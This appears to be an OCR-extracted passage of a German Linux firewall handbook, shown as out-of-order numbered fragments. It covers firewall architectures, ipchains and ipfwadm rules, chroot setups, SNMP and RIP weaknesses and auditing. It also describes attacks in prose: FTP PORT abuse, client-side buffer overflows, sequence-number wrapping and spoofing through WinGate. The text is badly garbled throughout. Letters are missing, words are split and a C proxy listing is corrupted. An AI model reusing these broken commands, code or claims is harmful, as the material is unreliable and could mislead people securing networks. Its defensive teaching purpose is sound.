528. s der Sicht des Hackers oder besser gesagt des Crackers geschildert werden Um ein Netzwerk erfolgreich sch tzen zu k nnen sind Hintergrundwissen und viel Erfahrung notwendig Insbesondere sollte man sich selber einmal als Cracker bet tigt haben Als Anfangs bung sollten ein standardm ig installierter Windows NT Server oder ein LINUX Server gen gen Nur wer die L cken und Schw chen der von ihm betreuten Systeme kennt wei wonach er im Falle eines Angriffs suchen mu und wie er das System sch tzen kann 23 1 Firewalls eine Beschreibung der Eigenschaften Die hier nur kurz vorgestellten Firewall Architekturen besitzen jeweils ihre eigenen Schw chen Diese werden in sp teren Abschnitten genauer erl utert Hier seien also nur in kurzen Stichpunken deren St rken und Schw chen erw hnt Der Begriff Firewall ist nicht genau definiert oder gesch tzt daher werden f lschlicherweise oft Paketfilter als Firewall bezeichnet was die korrekte Einsch tzung des Wertes also des Kosten Nutzen Verh ltnisses erschwert Firewall Router Erstellt von Doc Gonzo http kickme to plugins St rken Hohe Geschwindigkeit durch Routing auf IP Ebene Billig in der Anschaffung Anti spoofing Mechanismen Spoofing von Broadcasts f r IPX IP PROXY ARP Schw chen Bieten keinen Schutz vor TCP Angriffen Zuviele offene Ports gt 1024 Keine Kenntnis von Protokollen Keine Zustandsinformationen ber Verbindungen Keine Authenti
529. s diesem Grund scheiden viele Betriebssysteme f r den mission critical Einsatz aus Buffer overflows in Client Programmen dynamische Angriffe Bisher wurden nur buffer overflows in Servern entdeckt Seit einiger Zeit werden zunehmend Clientprogramme auf buffer overflows untersucht Ein Beispiel ist ein GNU ftp Client unter UNIX Angenommen da ein Unternehmen besonders sicher gegen Angreifer aus dem Internet abgesichert werden soll Man installiert die Internet Firewall so da kein Port eines internen Servers von au erhalb erreicht werden kann Um aber z B weiterhin E Mails in dem Unternehmen empfangen zu k nnen wird ein Programm z B vpop unter Windows NT oder fetchmail unter UNIX installiert Diese Software ffnet z B st ndlich tags ber die Verbindung ber die Firewall hinweg zu einem u eren Server der die E Mails f r das Unternehmen in einem Sammelpostfach gelagert hat Vorausgesetzt da der Angreifer auf diesem Au enserver auf die Clientverbindung wartet ist es ihm m glich einen buffer overflow auf einem Server hinter der Firewall zu iniitieren einen Tunnel von diesem in das Internet aufzubauen und in aller Ruhe im Unternehmensnetz sein Unwesen zu treiben Dagegen helfen dieselben Mechanismen die auch zur Verbesserung der Sicherheit der Serverd monen eingesetzt werden Unter NT bedarf es einer gr ndlichen Analyse des Betriebssystems was ohne Quellcodes leider nicht m glich ist Unter UNIX ist
530. s durch einen SSL Tunnel durchgef hrt Dabei haben sich einige erfolgversprechende Angriffsm glichkeiten mit buffer overflows ergeben chroot Umgebung f r Dienste D momen Die noch verbleibenden D monen sollten mit minimalen Userrechten in einer chroot Umgebung gestartet werden Der chroot Umgebung ist ein eigener Abschnitt gewidmet Siehe chroot 29 Security Auditing Ein Security Audit insbesondere nach der Installation einer Firewall wird von vielen Firmen als besonders wichtige Aufgabe betrachtet Hierzu wurden Portscanner Security Scanner DoS Simulatoren wie z B Ballista u s w herangezogen Eine beliebte Aufgabe f r Tiger Teams war es bisher aus dem Internet eine bestimmte Datei von einem Server im Unternehmen zu stehlen Nach einigen simulierten Angriffen auf von professionellen Firmen und von einigen CERT Organisationen als sicher eingestuften Internet Anbindungen halte ich Security Audits generell f r unseri s Diese teilweise 5 stelligen Summen die daf r ausgegeben werden um gegen ber Melissa amp Co unwesentliche Sicherheitsprobleme zu erkennen und zu beseitigen sind IMHO v llig fehlinvestiert Seri ses Security Auditing kann sich aufgrund der Komplexit t der Software oft mehrere hundert Mannjahre nur auf ganz wenige sehr spezielle Installationen beziehen Beispielsweise k nnten dies Datenschnittstellen zu Banking Systemen oder zu Warenwirtschaftssystemen sein Hierbei werden Filter f r genau defi
531. s gibt zwei M glichkeiten den Kernel zu kompilieren ber die X Windows Oberfl che oder ber die Konsole oder sogar quer ber das Internet auf einem Internet Server wie es h ufig praktiziert wird Um den Kernel neu zu kompilieren sind folgende Befehle einzugeben cd usr sre linux make mrproper make xconfig Erstellt von Doc Gonzo http kickme to plugins Wer von der Konsole den Kernel neu kompiliert sollte xconfig durch menuconfig ersetzen xconfig pr sentiert eine lange Liste von m glichen Einstellungen deren Funktionen durch die Hilfemen s erl utert werden zumindest alle wichtigen Man sollte sich vergewissern da folgende Funktionen aktiviert sind e loadable module support e kernel daemon support e networking support e network firewalls e TCP IP networking e Treiber f r den Netzwerkkarten Typ e IP forwarding gatewaying e IP syn cookies e P firewall packet logging e IP masquerading e ICMP masquerading e P accounting e P drop source routed frames Danach mu die Konfiguration gespeichert werden Um die Vorg nge verstehen zu k nnen mu man wissen da das Konfigurationsmen nur einige Optionen in den Quellcodes gesetzt hat define Da der Kernel aber aus vielen unterschiedlichen Modulen aufgebaut ist die auch untereinander gewisse Abh ngigkeiten besitzen mu vor der Kompilierung noch ein Durchlauf zur Aufl sung eventueller Widerspr che durchgef hrt werden Danach erst k
532. schte RIP Nachrichten ins Netz einzuschleusen Befindet sich der Host des Angreifers n her am Ziel als das Quellsystem so kann er den Datenverkehr leicht umlenken Ein weiteres Problem ist die Fernwartung via SMNP V1 und V2 Eine Authentisierung in SNMP erfolgt ber das sogenannte Communitiy Konzept Eine Community ist eine Menge von Managern die auf einen gegebenen Agenten in gleicher Weise zugreifen d rfen Die Community hat einen Namen community string der gleichzeitig als Pa wort dient und bei allen Operationen angegeben werden mu Alle Manager die zu einer Community geh ren verwenden denselben community string Dabei l uft dieser ungesch tzt bers Netz Kann also ein Angreifer den community string abh ren so kann er sich als Manager ausgeben und z B Router zu seinen Gunsten konfigurieren Router sollten so konfiguriert werden da sie wissen welche Routen auftauchen d rfen statisches Routen RIP ist ein Dienst auf Basis von UDP RIP Server berwachen Port 520 auf Broadcasts anderer Server und Anfragen von Clients RIP Server senden ihre Broadcasts gew hnlich auf Port 520 Es sollten also Subnetze in gr eren Unternehmen nicht nur durch Router sondern besser durch Firewalls abgesichert werden da UDP als verbindungsloses Protokoll einem hijacking Angriff nicht standh lt Mit FreeBSD LINUX l t sich eine solches System billig aufbauen ARPD IPFW ROUTED Der Einsatz von OSPF ist zwar ber eine Pa wortauthentif
533. sich Server und Client nachdem sie sich kontaktiert haben die weitere Daten bertragung ber freie nicht privilegierte Ports abzuwickeln Dies sind alle Ports ber 1024 nach der Definition der alten BSD UNIX Systeme Somit w re der Port 80 wieder frei f r neue Anfragen Man sieht auch einige offene Ports pop3 LISTEN Das bedeutet da der POP3 D mon lauscht nur an welchem Interface Das entscheidet sich beim Start eines D mons Ohne Parameter aufgerufen bindet er sich an alle Interfaces die ihm angeboten werden vorrangig nat rlich an das LOOPBACK Interface Man kann jedem D mon aber auch genau das Interface angeben an welches er sich binden soll Leider haben manche Programmierer von D monen vergessen eine solche Option einzuprogrammieren soda man nicht angeben kann an welches Interface sich der D mon bindet Bei guten Programmen wie Apache WWW Server SAMBA FTP Kann man dies genau festlegen Die Optionen findet man in den Konfigurationsdateien oder man bergibt beim Start des D mons einen Parameter Siehe etc inetd conf Startet man Interfaces wenn schon D monen laufen dann binden sich diese nachtr glich automatisch an das neue Interface Mu ein D mon viele Interfaces nach Paketen f r ihn Erstellt von Doc Gonzo http kickme to plugins berwachen so verringert sich seine Performance Dramatische Sicherheitsl cken haben sich dadurch bei Installation von Firewalls unter NT und auch UNIX ergeben Hier wa
534. sieren Woher sollte die Firewall wissen da es nicht der Server oder die Firewall selber war die die Verbindung aufgenommen hat Bei einer vorget uschten FTP Verbindung z B k nnte mit dem Befehl PORT 23 der Firewall signalisiert werden da ein Datenstrom aus dem Internet zum inneren Server auf Port 23 telnet zuzulassen ist Der Angreifer h tte somit aus dem Internet auf den internen Server ber die Firewall hinweg Zugriff Window Oversize Server mit sehr schneller Anbindung sind einer zus tzlichen Gefahr ausgesetzt Sequenznummern m ssen in ein gewisses Fenster fallen Zu Beginn einer TCP Verbindung wird dem Server vom Client mitgeteilt da ab der initial segeuence number ISN sich alle bermittelten Sequenznummern SSN in einem bestimmten Fenster befinden m ssen In high speed networks kann es somit passieren da ein Angreifer Pakete erzeugt die hnlich wie beim session hijacking daf r sorgen da ein wrapping der SSN s also ein Umbruch ber das Maximum von 32 Bit stattfindet und die SSN s im untersten Bereich der m glichen SSN s fortgef hrt werden Somit kann es einem Angreifer gelingen das die Firewall Pakete passieren l t obwohl die die SSN s falsch sind Dieser Angriff ist nur dann m glich wenn in hispeed networks der TCP IP Stack der Firewall die SSN s nicht entsprechend mit dem vom Client vorgeschlagenen Fester window size vergleicht nach between before und after differenziert u
535. sit t von Security Consultants Erstellt von Doc Gonzo http kickme to plugins Kapitel Wie erzeuge ich DoS Pakete Kapitel Angriff ber ein Winword Makro Kapitel Z hlen von Paketen Accounting Kapitel Z hlen von Paketen mit IPCHAINS Kapitel PPTP unter LINUX und Windows Kapitel Fernwartung von Firewalls Kapitel Angriff auf einen LINUX WWW Server Kapitel L sungen gegen Angriffe Kapitel Copyright Kapitel DoS Angriffe ber VLAN s hinweg Kapitel Kernel Optionen f r LINUX 2 0 und 2 2 Kapitel Overflow des connection table bei Checkpoint Firewall 1 Kapitel DOS Angriffe auf TCP IP Stacks Kapitel FTP Protokoll bounce attack Kapitel Installation von Servern mit CHROOT Kapitel Warum Filter anf llig gegen buffer overflows sind Kapitel Ma nahmen zur Absicherung von Servern Auditing Kapitel Stories zum Nachdenken 2 Todo Liste In der endg ltigen Version dieses Handbuches werden einige Kapitel und viele Grafiken zum besseren Verst ndnis enthalten sein Das Buch wird dadurch erheblich gr er Hier also die TODO Liste e Beschreibung der JAVA GUI f r User der SINUS Firewall in Arbeit e IPCHAINS Skript in Arbeit Beschreibung der Installation eines E Mail Virenscanners unter LINUX 4 Kommerzieller Support Kommerzieller Support f r freie Firewalls ist bisher noch nicht angeboten worden Obwohl nach meiner Einsch tzung LINUX Firewalls durchaus einige Vorteile gegen ber anderen Firewalls besitzen gib
536. sitzen manchmal nur minimale Filterm glichkeiten die nur einzelne Befehle einiger Dienste www ftp filtern k nnen Es sollte unbedingt darauf geachtet werden da diese Filter sowohl die Befehlssyntax als auch die L nge der bergebenen Parameter filtern k nnen Nur beide Eigenschaften zusammen k nnen ausreichend Schutz gegen buffer overflows bieten SUN geht andere Wege und ersetzt successive alle D monen unter UNIX durch deren JAVA Pendants Diese Konzeption ist so vielversprechend da es auch eine gr ere Zahl von freien JAVA D monen gibt die teilweise Filterm glichkeiten direkt eingebaut haben und so in der Lage sind auch SQL Server zu sichern Jigsaw Die CPU und buffer overflows V llig neu mag der Hinweis erscheinen bei Servern die sensible Daten hosten eine nicht bliche CPU einzusetzen Viele Angriffe k nne sogar von Laien mittels fertiger Angriffswerkzeuge aus dem Internet ausgef hrt werden Diese finden sich zumeist in Form von buffer heap overflows schon fertig kompiliert f r INTEL ALPHA SPARC Prozessoren auf einschl gig bekannten Servern Nur wenige Personen jedoch verf gen ber die n tigen Kenntnisse einen buffer overflow derjenigen Art wie sie monatlich zu dutzenden verbreitet werden auf andere Prozessoren z B ARM MIPS o zu portieren Hierzu sind weitreichende Assemblerkenntnisse und Praxis im Umgang mit Debuggern notwendig Kommt z B NetBSD oder LINUX auf ARM Prozessoren zum Eins
537. sl or depending on the system Other libraries may be necessary depending on the system and what other binaries you want to run In www bin you will need copies of sh perl tclsh etc If you have any gateways such as archie uptime date finger ph copies of these programs will also have to be in in www bin www docs is your document root but in the srm conf file it will be set to docs which is the directory after the chroot command www etc might need a copy of etc passwd and etc group Make sure there Erstellt von Doc Gonzo http kickme to plugins are no passwords in this file on most systems this is the second field of the colon separated fields Some systems require an entry for the uid of the user HTTPd will setuid to so that entry would be the minimum for the passwd file and group as well If you intend to provide username URLs you must have a valid directory entry as well which must be under www but without the www part Here is a sample www etc passwd file httpd 25 607 NCSA HTTPd Tech Support home httpd bin false blong 524 1 Brandon Long home blong bin false nobody 4294967294 4294967294 www conf will contain all of the configuration files for HTTPd and www egi bin www logs www icons contain what you would expect All of the configuration parameters which point to an absolute directory must assume that www 23 Hackers Guide oder was man Uber Cracker wissen muB
538. spricht auf UDP auf Nebenher kann man hier feststellen ob ein Programm mit Supervisor Rechten gestartet wird root Falls so ein Programm anf llig gegen buffer overflows ist was man meistens nicht so einfach feststellen kann dann ist der Angreifer direkt Systemadministrator also ist hier besondere Vorsicht geboten Aus diesem Grunde sind die meisten Dienste auch deaktiviert Das Programm TCPD ist ein TCP WPAPPER hierzu mehr sp ter Die Bindungen der Protokolle an die Karte wird in den jeweiligen Konfigurationsfiles oder als Option beim Aufruf der Programme eingestellt Die Portnummern die diese Dienste verwenden befinden sich unter UNIX in der Datei etc services ftp 21 tcp telnet 23 tcp smtp 25 tcp mail netbios ns 137 tcp NETBIOS Name Service netbios ns 137 udp tftp 69 udp Hier kann man die Portnummern ablesen die auf der Firewall kontrolliert werden m ssen 9 13 Die Clients Die Clients laufen gew hnlich unter Windows 95 98 NT Woher wei man eigentlich bei Microsoft welche Dienste welche Ports benutzen Mit Microsoft ist das so eine Sache gl cklicherweise findet man genau diese Dateien in C Windows alle wieder protocol services und die Bindungen der Dienste an die Netzwerkkarten befinden sich in protocol ini Es gibt aber auch ausnahmen wie z B den Port 0 und die IP Nummer 0 0 0 0 Obwohl nirgendwo definiert verwendet Microsoft NT diese NOVELL h lt sich mehr an die UNIX Konventionen Alle Einstell
539. sprogramme f r Windows Clients Aus Sparsamkeitsgr nden wurde in den Windows NT Server eine ISDN Karte installiert und WinGate MS PROXY als PROXY Server installiert Ein E Mail Server holt zeitgesteuert E Mails von drau en herein und zur Auslieferung bereit liegende werden simultan ausgeliefert Ein Portscan ergibt da Ports des PROXY s nach au en hin ge ffnet sind Eine Recherche im Internet ergibt da ein buffer overflow existiert und zudem der PROXY keine Absicherung gegen spoofing hat Ein Angreifer der gen gend nahe bis auf wenige Hops an den DIAL IN Router herankommt um diesem beim Abholen seiner E Mail gespoofte Pakete zuzusenden ist so in der Lage jeden beliebigen Server innerhalb des Netzwerkes zu erreichen durch den PROXY hindurch Ein buffer overflow w re leicht m glich aber wenn es schon spoofing tut Mit gespooften Paketen ist es einem Angreifer m glich interne IP Adressen durch das u ere Gateway in das Netz hinein zu schicken vorausgesetzt da er nahe genug an den DIAL IN Router herankommt Gespoofte Pakete werden normalerweise von Providern nicht weitergeleitet So kann er z B den Microsoft PROXY Wingate o durchtunneln und im Unternehmen gro en Schaden anrichten ein bekannter Fehler Die Bezeichnung PROXY f r diese Software ist gerechtfertigt jedoch fehlen die wesentlichen Eigenschaften eines Firewall Routers Theoretisch ist es m glich Erstellt von Doc Gonzo http kickme to
540. spruchen und evtl auch korrumpieren Windows scale option Wie in RFC 1323 in den Erweiterungen f r Hochgeschwindigkeitsnetze beschrieben kann die window size in die die TCP SSN s fallen m ssen auf 32 Bit erweitert Sie kann nur im SYN segment initiiert werden und mu von beiden Hosts unterst tzt werden window scale option Beim Einsatz von Servern in Hispeed LAN s ist die Erweiterung auf 64 Bit zu empfehlen LINUX 2 2 Solaris NetBSD PASV Modus bei FTP Erstellt von Doc Gonzo http kickme to plugins Der passive Modus PASV FTP bei der FTP bertragung erfordert stets eine Erweiterung gew hnlicher Filter oder generischen Proxy s um die spezifischen Protokollmechanismen Es mu daf r gesorgt werden da der Client innerhalb des gesicherten Netzwerkes beim Zugriff auf einen FTP Server ber die Firewall stets die Portnummer bestimmt Dies geschieht ber den PORT Befehl Die Firewall mu also den PORT Befehl auf Zahlen lt 1024 berpr fen damit ein Zugriff auf die privilegierten Ports aus dem Internet unterbunden wird Ein Restrisiko bleibt jedoch Viele Intranet Server Proxy Cache und SQL Server belegen unpriviligierte Ports Hier mu daf r gesorgt werden da IDENTD DNS reverse lookup im gesicherten Netzwerk zuverl ssig funktionieren Evtl sind weitere Filterregeln notwendig um diese Ports auf internen Servern nochmals abzusichern Die SINUS Firewall begrenzt die m glichen Ports aufalle unpriviligier
541. ssen So ist es die Regel den Datenverkehr aus dem Intranet zu Servern im Internet zuzulassen ohne daB jedoch ein Angreifer aus dem Intranet Zugriff auf den Host im Intranet hat Der naive User w rde also alle TCP Pakete die aus dem Internet an der Firewall ankommen verwerfen Ungl cklicherweise sollten nach einem Verbindungsaufbau die Antwortpakete die Firewall passieren d rfen Die L sung ist nur Pakete zu sperren die erforderlich sind um eine Verbindung aufzubauen Diese haben per Definition das SYN Flag gesetzt Alle Antwortpakete haben das ACK Flag gesetzt Die Firewall merkt sich also ob eine Verbindung von innen in das Internet initiiert wurde und ob Antwortpakete zur ck erwartet werden Die Option y ist genau f r diesen Zweck bestimmt worden Diese Option ist nur und ausschlie lich bei TCP Protokollen m glich und sinnvoll p TCP s 192 168 1 1 y Erstellt von Doc Gonzo http kickme to plugins Hier werden alle TCP Pakete zugelassen die von dem internen Host 192 168 1 1 ausgehen und an beliebige Hosts im Internet adressiert sind F r diesen Host werden dann Antwortpakete aus dem Internet zur ck erwartet Ein direkter Zugriff aus dem Internet auf den Host im Intranet ist nicht m glich Auch hier kann der Sinn der Option logisch invertiert werden Ein vorangestelltes Ausrufezeichen wie hier im Beispiel p TCP s 192 168 1 1 y besagt da alle Hosts aus dem Internet auf den Host im Intranet zugreifen d
542. st eine ausgewachsene Firewall die im Gegensatz zu vielen anderen Firewalls auch RPC s unterst tzt Ausf hrliche Tutorial und Installationsanleitungen findet man unter http www fwtk org Das TIS FWTK ist keine freie Software sondern man darf es nur dann privat nutzen wenn man es selber installiert Eine kommerzielle Nutzung ist nicht erlaubt Hierzu m ssen dann offizielle Lizenzen von TIS GAUNTLET erworben werden Dennoch ist das TIS FWTK ein Paradebeispiel f r einen Application Level Proxy an welchem sich viele Entwickler von Firewalls orientiert haben Das TIS FWTK deckt nur die wesentlichen Protokolle ab Neuere Protokolle wie REAL AUDIO VIDEO kann es nicht transportieren Es exisitert jedoch ein allgmeiner generic PROXY der eventuell diese neuen Protokolle bedienen kann Weitere Informationen und ein gutes Installationshandbuch unter LINUX ist von J rgen Steiner Siehe Deutsches Firewall HOWTO oder auch DLHP geschrieben worden Ein Geheimtip ist jedoch das Tutorial der SWISSCOM http www tlab ch praktika serielll c15 Ich m chte jedoch behaupten da das TIS Erstellt von Doc Gonzo http kickme to plugins FWTK ausgereift ist was die Basisprotokolle angeht Ein Nachteil soll nat rlich auch nicht verschwiegen werden Es ist relativ gesehen etwas langsam Angesichts der schnellen Prozessoren heutzutage ist dies aber kein Problem mehr Wer also einige duzend User gleichzeitig bedienen m chte der ist mit dem TIS FWTK und e
543. st_addr int trace_fd 1 void hexdump_err p len const char p int len char _aux_bb 128 c inti n int dep 0 while len gt 0 sprintf _aux_bb 3X dep dep 16 ISo for n 0 n lt 16 n if n lt len sprintf amp _aux_bb i 02X p n amp 255 else strepy amp _aux_bb i i 3 for n 0 n lt 16 n if n lt len c pln Erstellt von Doc Gonzo http kickme to plugins _aux_bb i lt c amp amp c lt 177 2c 7 else _aux_bb i i _aux_bb i n write trace_fd _aux_bb 1 p 16 len 16 Basic functions allocates a socket and does a connect to the server on port 7000 eaf int serverconnect struct sockaddr nm int fd fd socket AF_INET SOCK_STREAM 0 if fd 1 if Iflg fprintf stderr couldnt allocate socket n return 1 dest_addr sin_port htons VDO_TCP_PORT dest_addr sin_family AF_INET dest_addr sin_addr s_addr struct sockaddr_in nm gt sin_addr s_addr if connect fd struct sockaddr _addr sizeof dest_addr lt 0 if Iflg fprintf stderr couldnt connect to server s n strerror ermo close fd return 1 return fd Open a socket in order to receive UDP datagrams int alloue_server_udp int sockudp int server_udp_port struct sockaddr_in name int len int res sockudp socket AF_INET SOCK_DGRAM 0 i
544. t Man kann auf fast alle Korrekturen und Eingriffe im Betriebssystem verzichten Wichtig ist aber eine u erst detailierte Filterung alle Befehle deren Syntax und deren Kombinationen deren maximale L nge Filterung der zur ck erwarteten Datenpakete unter Ber cksichtigung der L nge der Datens tze z B bei SQL Nicht entfallen kann die vollst ndige Analyse der Protokolle der ben tigten Befehle und die strenge Auswahl der nicht ben tigten Dienste da man f r jeden Dienst einen eigenen positiv Filter programmieren mu K nnen Firewalls diese Aufgabe bernehmen Wenn z B beim Firewall 1 von PROXY die Rede ist so kann der Systemadministrator die Unterst tzung diese Dienstes z B SQL in der Firewall aktivieren filtern kann die Firewall diesen dann aber noch lange nicht Hierzu m te man Zugriff auf die wohlgeh teten Geheimnisse der Datenbank f r Checkpoint Vertragsh ndler haben die sich diese Abfrage aber mit einigen hundert Mark pro Stunde bezahlen lassen Eine Garantie f r die Unverletzbarkeit des zu sch tzenden Servers wird aber nur in Bezug auf die Auswertungsprotokolle des ISS Securityscanners gegeben Sicher ist das System dann lange noch nicht Erstellt von Doc Gonzo http kickme to plugins Test von verschl sselten Systemen Nun f r SSH z B ist bereits ein Exploit in bugtraq zu finden Damit k nnen Cracker bereits in einen Server einbrechen bevor der D mon berhaupt nach einem Pa wort fragt F
545. t reject with icmp_net_unreachable icmp_host_unreachable icmp_protocol_unreachable icmp_port_unreachable tep_reset best echo_reply we o rule rule options ip_option ip_option all protocol_number icmp icmp_type icmp_type igmp igmp_type igmp_type tcp udp rip address address inside outside from fulladdr fulladdr inside port port port outside port port port to fulladdr fulladdr inside port port port outside port port port notification_level value ip_option record_route timestamp security loose_source_route strict_source_route sat_id time_to_live lt gt value icmp_type icmp_echo_reply icmp_destination_unreachable icmp_source_quench icmp_redirect icmp_echo_request icmp_time_exceeded icmp_parameter_problem icmp_timestamp icmp_timestamp_reply icmp_info_request icmp_info_reply icmp_address icmp_address_reply igmp_type igmp_host_membership_query igmp_host_membership_report igmp_host_leave_message fulladdr address port port port port port port address ip_address name mask mask port port_n
546. t 0 target protopt source destination ports DENY icmp localnet 24 anywhere any Der refcnt der in test angezeigt wird ist die Zahl der Regeln die test als Anweisung angegeben haben Diese Zahl mu NULL sein bevor eine chain gel scht werden kann Wenn keine Name der chain angegeben wird werden alle chains darunter auch die leeren chains angezeigt Es gibt drei Optionen die zusammen mit L aufgerufen werden k nnen Die Option n numeric ist sinnvoll um ipchains daran zu hindern die IP Nummer aufzul sen welche bei jedem Zugriff lange Wartezeiten verursachen kann falls der DNS Server nicht im caching mode arbeitet Im schlimmsten Falle kostet es Telefongeb hren Der Nachteil ist da die Ausgabe in Logfiles mit IP Nummern erfolgt Die Option v zeigt alle Details der Regel darunter auch die Paket und Byte Z hlerst nde die TOS Bits das Interface und die Paketmarkierungen ipchains v L input Chain input refent 1 policy ACCEPT pkts bytes target prot opt tosa tosx ifname mark source destination ports 10 840 ACCEPT icmp OxFF 0x00 lo anywhere anywhere any Erstellt von Doc Gonzo http kickme to plugins Die Paket und Bytez hler benutzen die Anh nge K M G als Abk rzungen f r 1000 1 Million und 1 Gigabyte Die Option x gibt die echten Zahlen aus unabh ngig davon wie gro diese sind Reset von Z hlern Z hler k nnen mit der Option Z auf Null gesetzt werden ipchains
547. t Jos wav newmail htm Support Issue Support SupportEmail fees Neoplanet arbeitet mit dem in das Windows System eingebautem W rterbuch Dictionary attacks sind ausreichend bekannt nun liefert Windows ein solches direkt schon mit Windows aus Neo20 dictver dict fixedchanver NeoFixed Zip Sees s shell open command s shell open ddeexec s shell open ddeexec A pplication s shell open ddeexec Topic open 1 s DefaultIcon WWW_OpenURL application x ftp protocol application x https protocol application x http protocol application x javaSkript c neobox htm e netlog txt a www alexa com ist als Hackersite bekannt http neoplanet alexa com data W hrend des Surfens verr t Neoplanet ber die Firewall hinweg alle Informationen ber den User seinen Login und viele weitere Dinge Security Indicator d d d 0 d d d d Security Indicator EA Die Hacker haben sogar signiert COXSysInfo Hacker Johnny BadDude Bonesaw Julito Wifey Nightshade Friskel Hoffman en System CurrentControlSet Services Class NetTrans 1500 2144 8192 Br Neoplanet will alles aus der Registry genau wissen Erstellt von Doc Gonzo http kickme to plugins COXRegistry HKEY_CURRENT_USER HKEY_USERS HKEY_CLASSES_ROOT HKEY_LOCAL_MACHINE HELO SMTPPort Quit Timeout 24 2 Auswertung der Informationen Haben Sie die Adresse test sushiking com gefu
548. t lu i if memcmp buffer i VDO Live 8 0 pos i 10 break if pos buffer pos server_udp_port gt gt 8 buffer pos 1 server_udp_port if Iflg fprintf stderr s n buffer pos 10 write fd_to_proxy buffer lu if dflg printf To server d n lu fflush stdout hexdump_err buffer lu FD_ZEROQ maxfd fd_to_proxy gt newfd fd_to_proxy newfd if sockudp gt maxfd maxfd sockudp maxfd for 53 Erstellt von Doc Gonzo http kickme to plugins FD_SET newfd FD_SET fd_to_proxy FD_SET sockudp i select maxfd 0 0 0 Is there a DATAGRAM if FD_ISSET sockudp fromlen sizeof from res recvfrom sockudp buffer sizeof buffer 0 struct sockaddr if res gt 0 if dflg fprintf stderr UDP d x d x n res ntohl from sin_addr s_addr ntohs from sin_port ntohs from sin_port if already_bind inton 1 already_bind 1 outudp from if Setsockopt sockcl SOL_SOCKET SO_REUSEADDR char sizeof on lt 0 perror setsockopt REUSEADDR problem if bind sockcl struct sockaddr sizeof outudp 1 perror bind sock sendto sockcl buffer res 0 struct sockaddr sizeof struct sockaddr_in Is there any data from the client if FD_ISSET newfd lu read newfd buffer sizeof buffer if lu lt 0 break
549. t es nur wenige die Firewalls installieren deren Quellcode frei verf gbar ist Ich selber habe z B Checkpoint Firewall 1 3 0 unter SOLARIS debuggt gr ndlich analysiert und einige Sicherheitsl cken gefunden obwohl der Quellcode nicht verf gbar ist Die SINUS Firewall 1 bzw der Vorl ufer SF Firewall der allerdings nur mit Erstellt von Doc Gonzo http kickme to plugins dem LINUX Kernel 2 0 bis 2 0 39 funktioniert liegt z B oft v llig unbeachtet allen LINUX Distributionen bei Siehe hierzu in usr doc packages sf Die SF Firewall ist u erst zuverl ssig auch bei gro er Last was von den Nachfolgern der SINUS Firewall SINUS Firewall oder SIFI 0 1 4 noch nicht behauptet werden kann F r die ltere SF Firewall ist Support verf gbar Sobald die SINUS Firewall 1 f r Kernel 2 2 zuverl ssig l uft wird auch f r diese Support angeboten werden Diese Praxis mag vielleicht merkw rdig erscheinen Angesichts der Tatsache da LINUX und die Firewall SF SIFI SINUS Firewall keinem Marktdruck unterworfen sind k nnen Sie sicher sein da sowohl alle Fehler bekannt sind und auch ver ffentlicht werden als auch neue Versionen solange zur ckgehalten werden bis alles korrekt funktioniert und verifiziert ist Angesichts der hohen Sicherheitsanspr che die mit Firewalls verbunden sind bitte ich um etwas Geduld mit dem Support neuer Versionen der SINUS Firewall 4 1 Kommerzieller Support f r SINUS Firewall Kommerzieller Support f
550. t kann man gleich 3 Fliegen mit einer Klappe schlagen Erstens kann man die Variablenzuweisungen zu Anfang in eine Datei schreiben zweitens k nnen wir den Code lesbar und verst ndlich gestalten und drittens kann man nun ein allgemeing ltiges Skript schreiben in welches dann nur noch am Anfang die richtigen Netzwerk und IP Adressen eingetragen werden m ssen Im folgenden Beispiel wird festgelegt da alle D monen oder Programme auf der Firewall auf das loopback interface zugreifen k nnen Das ist insbesondere dann notwendig wenn man z B mit Netscape auf den WWW Server zugreifen k nnen m chte Erstellt von Doc Gonzo http kickme to plugins Das loopback Interface ipfwadm I a accept W LOOPBACK ipfwadm O a accept W LOOPBACK Dies bedeutet da nur die D monen und Programme auf der Firewall selber untereinander kommunizieren k nnen Der Verbindungsaufbau ber die Netzwerkkarten d rfte noch nicht funktionieren Das a besagt da eine Regel zu den bestehenden Regeln hinzugef gt angehangen wird append Das W wichtig gro es W bezeichnet das Interface LOOPBACK_INTERFACE ist der Wert der Variablen LOOPBACK_INTERFACE dem wir sp ter noch 127 0 0 1 zuweisen m ssen Die beiden Zeilen bedeuten also da von allen Interfaces der Verkehr vom und zum loopback Interface erlaubt ist Nun ist noch ein kleines Problem zu l sen Wird ein Programm oder D mon auf dem Host gestartet ber welches Interface ist diese
551. t sich sowohl mit dem Kernel 2 0 als auch 2 2 installieren Zudem l uft sie stabil Es haben sich in letzer Zeit noch einige wichtige Kernel Korrekturen bei dem Kernel 2 0 x ergeben Diese betreffen DoS Angriffe auf den TCP IP Stack Es wird daher dringend empfohlen auf die Version 2 0 39 die letzte zu updaten Empfehlen m chte ich jedoch besonders die SecureLINUX Varianten Cyberguard Immunix Stackguard LINUX auf der Basis von GPL RedHat Linux 5 2 Siehe auch www kernelnotes org Es ist komplett neu kompiliert worden und nachweislich gegen die typischen speziell auf INTEL Prozessoren programmierten Kapitel buffer overflows immun Somit sind diese Angriffe ber Arbeitsstationen im LAN auf die Firewall insider attack auf der Basis von buffer overflows nicht mehr m glich Netzwerksicherheit kommt stets an erster Stelle Server die an das Internet angebunden sind sind stets gro en Gefahren ausgesetzt Im Grunde ist aber eine Maschine nur verwundbar wenn ein Dienst oder ein Protokoll von au en erreichbar ist Je weniger Dienste aktiviert sind um so geringer ist die Wahrscheinlichkeit da ein Angreifer eine Sicherheitsl cke nutzen kann UNIX ist im Gegensatz zu NT v llig modular aufgebaut es lassen sich alle Dienste einzeln abschalten von der Festplatte und evtl sogar aus dem Kernel entfernen Hierzu geh ren Kenntnisse in UNIX allgemein und im Speziellen Kenntnisse ber den Aufbau von LINUX dessen File Struktur und das KNOW HOW
